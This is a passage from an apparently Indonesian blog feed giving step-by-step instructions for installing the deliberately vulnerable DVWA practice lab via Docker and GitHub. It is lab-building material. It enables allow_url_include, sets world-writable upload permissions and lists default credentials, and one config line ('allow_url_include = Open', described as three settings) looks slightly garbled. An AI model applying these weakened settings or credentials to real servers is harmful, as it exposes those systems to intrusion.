&lt;em&gt;7. Play and have fun!&lt;/em&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;WARNING&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;em&gt;This image is vulnerable to several kinds of attacks, please don’t deploy it to any public servers&lt;/em&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;section&gt;&lt;h3&gt;1. Install Docker&lt;a href=&quot;#1-install-docker&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker.io&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Credit to&lt;/strong&gt; &lt;a href=&quot;https://github.com/digininja&quot; target=&quot;_blank&quot;&gt;digininja&lt;/a&gt; sebagai &lt;em&gt;maintainer&lt;/em&gt; &lt;a href=&quot;https://github.com/digininja/DVWA&quot; target=&quot;_blank&quot;&gt;DVWA di Github&lt;/a&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Pull DVWA’s docker image&lt;a href=&quot;#2-pull-dvwas-docker-image&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pull&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vulnerables/web-dvwa&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Run DVWA’s docker image&lt;a href=&quot;#3-run-dvwas-docker-image&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-it&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;80:80&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vulnerables/web-dvwa&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Login with default creds&lt;a href=&quot;#4-login-with-default-creds&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;admin&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;DVWA Login Page&quot; loading=&quot;lazy&quot; width=&quot;1117&quot; height=&quot;757&quot; src=&quot;/_astro/ss2.CLw-SGOE_2m1Thh.webp&quot; /&gt;&lt;figcaption&gt;DVWA Login Page&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;img width=&quot;70%&quot; height=&quot;200&quot; alt=&quot;&quot; /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Create database&lt;a href=&quot;#5-create-database&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Creating Database&quot; loading=&quot;lazy&quot; width=&quot;1032&quot; height=&quot;1022&quot; src=&quot;/_astro/ss3.CMt1UFcy_1BXfrn.webp&quot; /&gt;&lt;figcaption&gt;Creating Database&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Set difficulty level&lt;a href=&quot;#6-set-difficulty-level&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Silakan atur &lt;em&gt;difficulty level&lt;/em&gt;-nya sesuai kebutuhan, bisa diatur mulai dari &lt;strong&gt;low&lt;/strong&gt;, &lt;strong&gt;medium&lt;/strong&gt;, &lt;strong&gt;high&lt;/strong&gt;, hingga &lt;strong&gt;impossible&lt;/strong&gt;. Low artinya &lt;em&gt;security&lt;/em&gt; web-nya sangat rendah alias website sangat rentan, sebaliknya impossible artinya security-nya sangat tinggi sehingga sangat sulit untuk diretas.&lt;/p&gt;&lt;p&gt;Saya akan atur ke &lt;strong&gt;low&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;7. Play and have fun!&lt;a href=&quot;#7-play-and-have-fun&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selesai!&lt;/p&gt;&lt;p&gt;Kita berhasil meng-install DVWA via docker. Nantikan artikel-artikel saya berikutnya terkait &lt;em&gt;web hacking&lt;/em&gt; ya!&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;mark&gt; &lt;strong&gt;Default DVWA Login Creds:&lt;/strong&gt;&lt;/mark&gt;&lt;br /&gt;
username: admin&lt;br /&gt;
password: password&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Instalasi DVWA via Github&lt;a href=&quot;#instalasi-dvwa-via-github&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah langkah-langkah pemasangan DVWA via Github:[^2,^3]&lt;/p&gt;&lt;p&gt;&lt;em&gt;1. Install required packages.&lt;/em&gt;
&lt;em&gt;2. Clone repo.&lt;/em&gt;
&lt;em&gt;3. Move DVWA directory to &lt;strong&gt;&lt;code&gt;/var/www/html&lt;/code&gt;&lt;/strong&gt;.&lt;/em&gt;
&lt;em&gt;4. Copy &lt;strong&gt;&lt;code&gt;config.inc.php.dist&lt;/code&gt;&lt;/strong&gt; to &lt;strong&gt;&lt;code&gt;config.inc.php&lt;/code&gt;&lt;/strong&gt;.&lt;/em&gt;
&lt;em&gt;5. Create new database user.&lt;/em&gt;
&lt;em&gt;6. Edit some PHP configs.&lt;/em&gt;
&lt;em&gt;7. Change permission to &lt;strong&gt;writable&lt;/strong&gt; to some dirs.&lt;/em&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Install required packages&lt;a href=&quot;#1-install-required-packages&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita perlu meng-&lt;em&gt;install&lt;/em&gt; (atau meng-&lt;em&gt;update&lt;/em&gt;) beberapa packages:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Langkah-langkah ini diasumsikan dilakukan di Debian-Ubuntu based distro, jadi, kalau kalian menggunakan distro linux yang lain, silakan disesuaikan.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apache2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mariadb-server&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mariadb-client&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;php&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;php-mysqli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;php-gd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libapache2-mod-php&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Clone repo&lt;a href=&quot;#2-clone-repo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah repository Github resmi DVWA: &lt;a href=&quot;https://github.com/digininja/DVWA&quot; target=&quot;_blank&quot;&gt;https://github.com/digininja/DVWA&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/digininja/DVWA.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Move DVWA directory to &lt;strong&gt;&lt;code&gt;/var/www/html&lt;/code&gt;&lt;/strong&gt;&lt;a href=&quot;#3-move-dvwa-directory-to-varwwwhtml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita pindahkan direktori DVWA yang sudah berhasil di-&lt;em&gt;clone&lt;/em&gt; dari Github ke direktori Apache2:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;DVWA/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/var/www/html/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Copy &lt;strong&gt;&lt;code&gt;config.inc.php.dist&lt;/code&gt;&lt;/strong&gt; to &lt;strong&gt;&lt;code&gt;config.inc.php&lt;/code&gt;&lt;/strong&gt;&lt;a href=&quot;#4-copy-configincphpdist-to-configincphp&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;DVWA&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config.inc.php.dist&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config.inc.php&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Create new database user&lt;a href=&quot;#5-create-new-database-user&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita perlu membuat database baru untuk DVWA:&lt;/p&gt;&lt;p&gt;Log in dulu ke MariaDB:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mysql&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mysql&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;su&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mysql&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Tambahkan user dan password baru untuk DVWA, pastikan sesuai dengan konfigurasi yang ada di &lt;strong&gt;&lt;code&gt;/var/www/html/DVWA/config/config.inc.php&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss4&quot; title=&quot;config.inc.php&quot; loading=&quot;lazy&quot; width=&quot;625&quot; height=&quot;196&quot; src=&quot;/_astro/ss4.BI0TBHkG_2b2kg1.webp&quot; /&gt;&lt;figcaption&gt;ss4&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;create&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;database&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dvwa&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;create&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dvwa&lt;/span&gt;&lt;span&gt;&lt;span&gt;@localhost&lt;/span&gt;&lt;span&gt; identified &lt;/span&gt;&lt;/span&gt;&lt;span&gt;by&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;p@ssw0rd&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;grant&lt;/span&gt;&lt;span&gt; all &lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span&gt; dvwa.* &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt;&lt;span&gt; dvwa&lt;/span&gt;&lt;span&gt;@localhost&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;flush privileges;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Pastikan perintah-perintah penambahan database DVWA tersebut dilakukan satu persatu sambil memperhatikan &lt;em&gt;response&lt;/em&gt; dari mysql/mariadb-nya.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss5&quot; title=&quot;adding DVWA database&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;388&quot; src=&quot;/_astro/ss5.ZVlxe_2o_ZbBdma.webp&quot; /&gt;&lt;figcaption&gt;ss5&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Edit some PHP configs&lt;a href=&quot;#6-edit-some-php-configs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, kita akan mengedit beberapa config PHP untuk memaksimalkan fungsionalitas DVWA sebagai target kita nanti. File PHP yang perlu diedit yaitu &lt;strong&gt;&lt;code&gt;/etc/php/$(PHP version)/apache2/php.ini&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;em&gt;Enable&lt;/em&gt;-kan 3 fungsi “allow_url_include”:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;allow_url_include&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Open&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;7. Change permission to &lt;strong&gt;writable&lt;/strong&gt; to some dirs&lt;a href=&quot;#7-change-permission-to-writable-to-some-dirs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Terakhir, kita perlu memberikan akses tulis (&lt;em&gt;writable&lt;/em&gt;) untuk kedua direktori berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/var/www/html/DVWA/hackable/uploads/&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/var/www/html/DVWA/config/&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;chown&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;www-data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/var/www/html/DVWA/hackable/uploads/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;chmod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;777&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/var/www/html/DVWA/hackable/uploads/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;chown&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;www-data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/var/www/html/DVWA/config/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss6&quot; title=&quot;change some dirs permissions&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;556&quot; src=&quot;/_astro/ss6.DQVqGwpo_Z2q4Iqi.webp&quot; /&gt;&lt;figcaption&gt;ss6&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kemudian, jalankan apache2:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apache2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dan DVWA kita sudah bisa diakses di url berikut: &lt;code&gt;http://$IP ADDRESS:80/DVWA&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Selanjutnya, kita sudah bisa login, melakukan &lt;em&gt;set up&lt;/em&gt; database, dan menyesuaikan &lt;em&gt;difficulty level&lt;/em&gt;-nya. Setelah itu, kita sudah bisa bermain dengan lab DVWA kita!!&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;mark&gt; &lt;strong&gt;Default DVWA Login Creds:&lt;/strong&gt;&lt;/mark&gt;&lt;br /&gt;
username: admin&lt;br /&gt;
password: password&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://hub.docker.com/r/vulnerables/web-dvwa&quot; target=&quot;_blank&quot;&gt;https://hub.docker.com/r/vulnerables/web-dvwa&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>SSH without Password?</title><link>https://shangdi.github.io/posts/tech/sshnopass/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/sshnopass/</guid><description>Too lazy to input your SSH password while doing routine task? Here is the solution...</description><pubDate>Tue, 08 Oct 2024 10:00:47 GMT</pubDate><content:encoded>&lt;p&gt;Hola!&lt;/p&gt;
